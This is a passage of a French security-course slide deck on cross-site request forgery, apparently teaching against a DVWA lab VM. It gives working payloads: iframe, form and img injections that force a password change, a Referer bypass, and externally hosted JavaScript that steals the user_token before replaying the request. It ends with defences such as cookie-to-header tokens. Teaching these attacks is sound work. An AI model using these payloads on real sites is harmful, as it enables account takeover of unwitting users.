-
Vincent Mazenod authoredVincent Mazenod authored
- CSRF
- aka Cross-Site Request Forgery
- CSRF
- CSRF
- CSRF / types
- CSRF / payload
- CSRF / low
- CSRF / medium
- CSRF / high
- CSRF / high / session token
- CSRF / high
- CSRF / high / payload js
- CSRF / high / payload XSS
- CSRF / high / xhr / payload
- CSRF / Se préserver
- CSRF / Cookie-To-Header Token
- CSRF / Cookie-To-Header Token
CSRF
aka Cross-Site Request Forgery
/
tapez <prez>.html?<username-uca>
dans votre navigateur pour suivre le cours avec votre nom de vm
CSRF
- affecte toute ressource disponible directement
- sans étape intermédiaire
- avec authentification
- usurpation de session
- ou pas
- redirection arbitraire
- avec authentification
- sans étape intermédiaire
CSRF
Note:
- rappel ici mail, mais aussi
- XSS
- lien déguisé
- url shortner
CSRF / types
-
urls / formulaires forgés relayés via XSS
-
redirections arbitraires relayés via XSS
-
social engineering
- initulé de lien malicieux
- url shortner
-
phishing
- par mail
- par XSS stored
CSRF / payload
- le but est de rediriger un utilisateur vers une url
- à l'insu de son plein gré
- exécuter des opérations avec les permissions d'un autre utilisateur
- envoyer du spam (de commentaire)
- à l'insu de son plein gré
Note:
- l'action avec privilège
- urls connues (CMS, ...)
- on espère que l'utilisateur est logué
- urls connues (CMS, ...)
- spam de commentaire
- urls connues (CMS, ...)
CSRF / low
New password: pipo
Confirm new password: pipo
/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#
- via GET en injectant
<iframe
src="javascript:window.location='http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#';"
height="0" width="0" style="border:0;">
</iframe>
- possible via POST avec en scriptant
<form action="http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#" method="post" id="formid"
onload="document.getElementById('formid').submit();">
<input type="hidden" name="password_new" value="1337"/>
<input type="hidden" name="password_conf" value="1337"/>
</form>
Note:
- analyser la requête de changement de mot de passe avec burp
- forger une url
- forger un form
- injecter via XSS stored par exemple
- problème de l'action silencieuse et aveugle
- on ne sait pas sur qui ca marche
- si on a une liste des utilisateurs du site le brute force est un option
CSRF / medium
/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#
That request didn't look correct.
comparaison requête forgée VS légitime filtrage par referer
if( stripos( $_SERVER[ 'HTTP_REFERER' ],
$_SERVER[ 'SERVER_NAME' ]) !== false ) {
ajouter un header via burpsuite
Referer: http://vm-etu-vimazeno.local.isima.fr/
passer par XSS (stored) / low
Name: CSFR
Message: <img src="http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#" />
CSRF / high
- session token dans un nouveau champs caché du formulaire
<input
type="hidden"
name="user_token"
value="840473d541a2e5e4b28e39cc31762f9d">
- le session token peut aussi se trouver dans l'url
- éventuellement salaison propre à l'utilisateur
- IP, user-agent
- ajout d'entropie
- IP, user-agent
- éventuellement salaison propre à l'utilisateur
CSRF / high / session token
CSRF / high
procéder en 2 temps
- récupérer la valeur du session token
- jouer la requête CSRF avec le session token
Possible via une XSS (mais cassé)
CSRF / high / payload js
-
hébergé sur un serveur malicieux https://perso.limos.fr/mazenod/slides/1337/exploits/getToken.js
function getToken() { var token='&user_token=' + document .getElementById("get_token") .contentDocument .getElementsByName("user_token")[0] .value; var link = "http://vm-etu-vimazeno.local.isima.fr/" + "vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change" + token; document.getElementById("play_CSRF").src=link; }
Ne marchera que sur vm-etu-vimazeno
CSRF / high / payload XSS
cacher les iframes
<script src="https://perso.limos.fr/mazenod/slides/1337/exploits/getToken.js"></script>
Mine de rien
<iframe
id="get_token"
src="http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/"
onload="getToken()" style="display:none"></iframe>
<iframe id="play_CSRF" style="display:none"></iframe>
A injecter dans XSS / low
A jouer dans XSS / high
CSRF / high / xhr / payload
- hébergé sur un serveur malicieux https://perso.limos.fr/mazenod/slides/1337/exploits/xhr.js
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/', true);
xhr.withCredentials = true;
xhr.responseType = "document";
xhr.onload = function () {
var token = xhr.response.getElementsByName('user_token')[0].value;
};
xhr.send();
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change&user_token=' + token, true);
xhr2.send();
<script src="https://perso.limos.fr/mazenod/slides/1337/exploits/xhr.js
A injecter dans XSS / low & jouer dans XSS / high
CSRF / Se préserver
-
Fausses Bonnes Idées
- utiliser la méthode POST
- vérifier le referer (ou n'importe quelle autre en-tête)
- Session token
- Double Submit Pattern
CSRF / Cookie-To-Header Token
-
adapté à une utilisation massive de JS
-
basé sur la Same Origin Policy
-
A l'authentification le serveur envoie un cookie contenant un jeton aléatoire valable pendant toute la session de l'utilisateur
Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql;
expires=Thu, 23-Jul-2015 10:25:33 GMT;
Max-Age=31449600;
Path=/
CSRF / Cookie-To-Header Token
- JavaScript lit le jeton et le renvoie dans un header HTTP spécifique à chaque requête
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
-
Le serveur vérifie la validité du token